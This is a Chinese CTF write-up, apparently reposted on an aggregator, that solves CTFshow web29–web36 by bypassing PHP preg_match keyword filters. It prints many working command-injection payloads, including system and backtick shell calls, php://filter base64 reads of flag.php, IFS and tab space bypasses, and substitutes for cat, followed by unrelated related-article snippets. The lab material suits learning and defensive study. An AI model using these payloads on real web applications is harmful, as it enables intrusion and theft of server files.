CTFshow 命令执行 web29~web36(正则匹配绕过)

目录

web29

方法一:include伪协议包含文件读取

方法二:写入文件

 方法三:通识符

web30

方法一:filter伪协议文件包含读取

方法二:命令执行函数绕过

 方法三:写入文件

 

web31

方法一:filter伪协议

方法二:空格及cat绕过

web32

方法一:filter伪协议

web33

web34

web35

web36


web29~36的考点主要是一些常见的正则表达式的绕过

web29

if(!preg_match("/flag/i", $c))

分析代码,这是一个preg_match函数的绕过,i表示不区分大小写字母,即无论是大写的还是小写的‘flag’字符都会被过滤掉。

方法一:include伪协议包含文件读取

首先查看有一些什么文件:

?c=echo ''?><?php system('ls');

echo ''?>: 输出一个空字符串并结束 PHP 代码块。注意是两个单引号!!!

<?php system('ls'); 开始一个新的 PHP 代码块并执行 ls 命令,这会列出当前目录的文件。

可以看到当前目录下面有flag.php,我们可以采用include伪协议包含文件读取。

?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 通过get方式读入参数url,值得注意的是,echo后面的是两个单引号‘,而include后面的是双引号“。

执行,得到一串base64编码的内容

 解码得到:

 即为flag.php文件的内容,成功拿到flag。

方法二:写入文件

?c=print_r(scandir("."));

 print_r()函数,表示格式化输出括号内的内容

scandir("."):这是一个 PHP 函数,用于扫描指定目录并返回该目录下的文件和子目录的数组。"." 表示当前目录

 构造payload:

?c=system('cat *php>>5.txt);

 *php表示后缀为php,这里表示将后缀为php的文件全部写入5.txt中,然后我们去访问/5.txt,就可以看到flag.php index.php的内容全部写入到了5.txt文件当中了。

 方法三:通识符

?c=system('tac f*');

 *是通识匹配符,会匹配所有f开头的文件名,这里会匹配到flag.php

web30

 if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php,不区分大小写字母

方法一:filter伪协议文件包含读取

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:命令执行函数绕过

能实现命令执行的函数很多,system只是其中一个,但是system有输出的功能,但是其他的函数没有,可以配合使用echo等函数来使用。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` 同shell_exec() 

exec()函数默认只返回命令的最后一行输出,并且不会直接回显结果。它可以通过第二个参数获取所有输出,但如果不捕获输出并直接在页面上显示,就不会有回显。

print_r 是一个 PHP 函数,用于打印数组或对象的可读信息。它可以将数据结构的内容以易于理解的格式输出,适合用于调试。与 var_dump() 不同,print_r() 更加简洁,主要关注值而非类型。

例如:

$array = [1, 2, 3];
print_r($array);
//输出为:
Array
([0] => 1[1] => 2[2] => 3
)

 shell_exec() 会返回命令的完整输出作为字符串,因此直接将其输出到页面时,会显示所有内容。

可以构造以下payload:

?c=passthru('tac f*');

?c=echo exec('tac f*', $output); print_r($output);

?c=echo shell_exec('tac f*');

?c=$handle = popen('tac f*', 'r'); $output = fread($handle, 2096); pclose($handle); echo $output;

?c=echo `tac f*`;

 方法三:写入文件

由于system函数被过滤了,我们就用反引号来代替,将f开头的文件内容写入5.txt文件当中,访问5.txt文件即可得到flag

?c=echo `tac f*>>5.txt`;

 

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

  • flag: 匹配字符串 flag
  • system: 匹配字符串 system(防止用户调用 system() 函数)。
  • php: 匹配字符串 php(防止执行 PHP 相关的命令)。
  • cat: 匹配字符串 cat(防止使用 cat 命令查看文件内容)。
  • sort: 匹配字符串 sort(防止使用 sort 命令)。
  • shell: 匹配字符串 shell(防止使用与 shell 相关的命令)。
  • \.: 匹配 .(防止用户使用文件路径,比如 ../)。
  • : 匹配空格(防止使用空格构造复杂命令)。
  • \': 匹配单引号 '(防止输入包含单引号的内容)

 可以看到这道题过滤了更多的字符,

方法一:filter伪协议

?c=include"$_GET[url]"?>&url=php://filter/convert.base64-encode/resource=flag.php

可能会有小伙伴会好奇,为什么明明构造的payload里面明明有php和flag,但是却还是成功绕过了preg_match函数的过滤呢,这是因为我们的正则表达式匹配的是参数c的内容,但是参数$c的内容为include"$_GET[url]";,这里 $_GET['url'] 指向的是 php://filter/read=convert.base64-encode/resource=flag.php。由于正则表达式没有检测 $_GET['url'],所以 "flag""php" 并没有在正则中被捕获,因此绕过了限制。

方法二:空格及cat绕过

过滤了空格符,可以有以下几种方式绕过

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

 cat被过滤:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

 可以构造payload

?c=echo%09`tac%09f*`;

?c=echo%09`tail%09f*`;

 这道题感觉很奇怪,很多没有被过滤掉的都没有回显。

web32

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,',`,echo,;,(

感觉都要被过滤完了。

方法一:filter伪协议

哈哈哈哈这招屡试不爽,这次依旧能行

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 但是他方法目前还没想到

web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ 

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,在32题的基础上,增加了对双引号的过滤"

于是,我们可以改用数组来进行参数的绕过

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,

加了一个冒号,对payload没什么影响,用33题的payload就可以做出来

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=虽然又过滤了<和=符号,但是并没有过滤掉payload里面的关键符号,因此还是可以继续用这个payload

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=,/,数字0-9,我们把参数改成字母就绕过了

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/55496.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Springboot+Vue的零食批发商仓库管理系统(含源码数据库)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 在这个…

关键字:sizeof

1.sizeof sizeof&#xff1a;确定一种类型&#xff0c;对应在开辟空间的时候的大小&#xff1b; 1.1求内置类型 printf("%d\n",sizeof(char)); //这些学过C语言的基本都没问题 printf("%d\n",sizeof(short)); printf("%d\n",sizeof(int…

Open-Sora全面开源?

来源 | 机器之心 ID | almosthuman2014 不久前 OpenAI Sora 以其惊人的视频生成效果迅速走红&#xff0c;在一众文生视频模型中突出重围&#xff0c;成为全球瞩目的焦点。继 2 周前推出成本直降 46% 的 Sora 训练推理复现流程后&#xff0c;Colossal-AI 团队全面开源全球首个类…

03 去重排序

题目&#xff1a; 桶排序变体&#xff1a; #include<iostream> #include<algorithm> using namespace std; #define M 100005 int a[M];int main() {int N;cin>>N;int count0;for(int i1;i<N;i){int temp;cin>>temp;if(a[temp]1){continue;}else{a…

Vue中watch监听属性的一些应用总结

【1】vue2中watch的应用 ① 简单监视 在 Vue 2 中&#xff0c;如果你不需要深度监视&#xff0c;即只需监听顶层属性的变化&#xff0c;可以使用简写形式来定义 watch。这种方式更加简洁&#xff0c;适用于大多数基本场景。 示例代码 假设你有一个 Vue 组件&#xff0c;其中…

vue双向绑定/小程序双向绑定区别

Vue双向绑定与小程序双向绑定在实现方式、语法差异以及功能特性上均存在显著区别。以下是对这两者的详细比较&#xff1a; 一、实现方式 Vue双向绑定 Vue的双向绑定主要通过其响应式数据系统实现。Vue使用Object.defineProperty()方法&#xff08;或在Vue 3中使用Proxy对象&am…

MindSearch 部署到Github Codespace 和 Hugging Face Space

一&#xff1a;概述 MindSearch是一个创新的AI搜索框架&#xff0c;由中国科技大学的科学家以及上海人工智能实验室的学者联合研发。 随着硅基流动提供了免费的 InternLM2.5-7B-Chat 服务&#xff08;免费的 InternLM2.5-7B-Chat 真的很香&#xff09;&#xff0c;MindSearch 的…

Spring Cloud之OpenFeign的具体实践

1 基本概念 OpenFeign基于Feign框架开发&#xff0c;而Feign是Netflix开源的一个声明式Web服务客户端。OpenFeign通过定义接口、注解和动态代理等方式&#xff0c;将服务调用的过程封装起来&#xff0c;使得开发者只需要定义服务接口&#xff0c;而无需关心底层的HTTP请求和序列…

1688商品详情关键词数据-API

要利用 Python 爬虫采集 1688 商品详情数据&#xff0c;需要先了解 1688 网站的页面结构和数据请求方式。一般使用 requests 库请求网站的数据&#xff0c;使用 BeautifulSoup 库解析网页中的数据。 以下是一个简单的 Python 爬虫采集 1688 商品详情数据的示例代码&#xff1a…

YOLO11改进|注意力机制篇|引入上下文锚注意力机制CAA

目录 一、【CAA】注意力机制1.1【CAA】注意力介绍1.2【CAA】核心代码 二、添加【CAA】注意力机制2.1STEP12.2STEP22.3STEP32.4STEP4 三、yaml文件与运行3.1yaml文件3.2运行成功截图 一、【CAA】注意力机制 1.1【CAA】注意力介绍 CAA注意力机制的结构图如下&#xff0c;下面根据…

RAG:检索增强生成技术概览

Why 将大模型应用于实际业务场景时会发现&#xff0c;通用的基础大模型基本无法满足我们的实际业务需求&#xff0c;主要有以下几方面原因&#xff1a; 知识的局限性&#xff1a;大模型对于一些实时性的、非公开的或离线的数据是无法获取到的。幻觉问题&#xff1a;所有的AI模…

828华为云征文 | 利用FIO工具测试Flexus云服务器X实例存储性能

目录 一、Flexus云服务器X实例概要 1.1 Flexus云服务器X实例摘要 1.2 产品特点 1.3 存储方面性能 1.4 测评服务器规格 二、FIO工具 2.1 安装部署FIO 2.2 主要性能指标概要 三、进行压测 3.1 测试全盘随机读IO延迟 3.2 测试全盘随机写IO延迟 3.3 测试随机读IOPS 3.4…

KEYENCE Programming Contest 2024(AtCoder Beginner Contest 374) 题解

A - Takahashi san 2 Problem Statement KEYENCE has a culture of addressing everyone with the suffix “-san,” regardless of roles, age, or positions. You are given a string S consisting of lowercase English letters. If S ends with san, print Yes; otherwi…

R包:ggheatmap热图

加载R包 # devtools::install_github("XiaoLuo-boy/ggheatmap")library(ggheatmap) library(tidyr)数据 set.seed(123) df <- matrix(runif(225,0,10),ncol 15) colnames(df) <- paste("sample",1:15,sep "") rownames(df) <- sapp…

云中红队系列 | 使用 Azure FrontDoor 混淆 C2 基础设施

重定向器是充当 C2 服务器和目标网络之间中间人的服务器。其主要功能是重定向 C2 和受感染目标之间的所有通信。重定向器通常用于隐藏 C2 服务器流量的来源&#xff0c;使防御者更难以检测和阻止 C2 基础设施。 基于云的重定向器提供了一个很好的机会&#xff0c;通过内容分发…

安卓使用memtester进行内存压力测试

memteser简介 memtester 是一个用于测试内存可靠性的工具。 它可以对计算机的内存进行压力测试&#xff0c;以检测内存中的错误&#xff0c;例如位翻转、随机存取错误等。memtester 可以在不同的操作系统上运行&#xff0c;并且可以针对不同大小的内存进行测试。 下载源码 m…

[单master节点k8s部署]29.Istio流量管理(五)

测试istio熔断管理。 采用httpbin镜像和fortio镜像&#xff0c;其中httpbin作为服务端&#xff0c;fortio是请求端。这两个的配置yaml文件都在istio的samples/httpbin目录下&#xff0c;fortio的配置文件在samples-client目录下。 [rootmaster httpbin]# ls gateway-api ht…

微服务(Microservices),服务网格(Service Mesh)以及无服务器运算Serverless简单介绍

文章目录 什么是微服务?一、定义与特点二、优势三、组件与架构四、应用场景五、挑战与解决方案什么是服务网格?一、定义与特点二、核心组件三、主要功能四、实现工具五、应用场景六、优势与挑战什么是Serverless?一、定义与特点二、主要领域三、优势四、应用场景五、挑战三者…

C++项目工程代码自动检查

引言 在现代软件开发中&#xff0c;代码质量是成功的关键。特别是在C项目中&#xff0c;开发人员面临着复杂的代码管理和维护挑战。随着技术的不断进步&#xff0c;代码自动检查工具已成为提高代码质量、减少错误和提升开发效率的有效手段。本文将深入探讨C项目中的代码自动检…

国外电商系统开发-运维系统执行设备属性

为了方便使用&#xff0c;开发了双击网络设备图标&#xff0c;就进入交互式命令终端&#xff0c;在这里您可以执行如cd&#xff0c;top&#xff0c;ping这样的交互命令&#xff0c;但仍然不支持部分交互命令&#xff0c;比如vim等。 您可以双击设备图标&#xff0c;或者是右键&…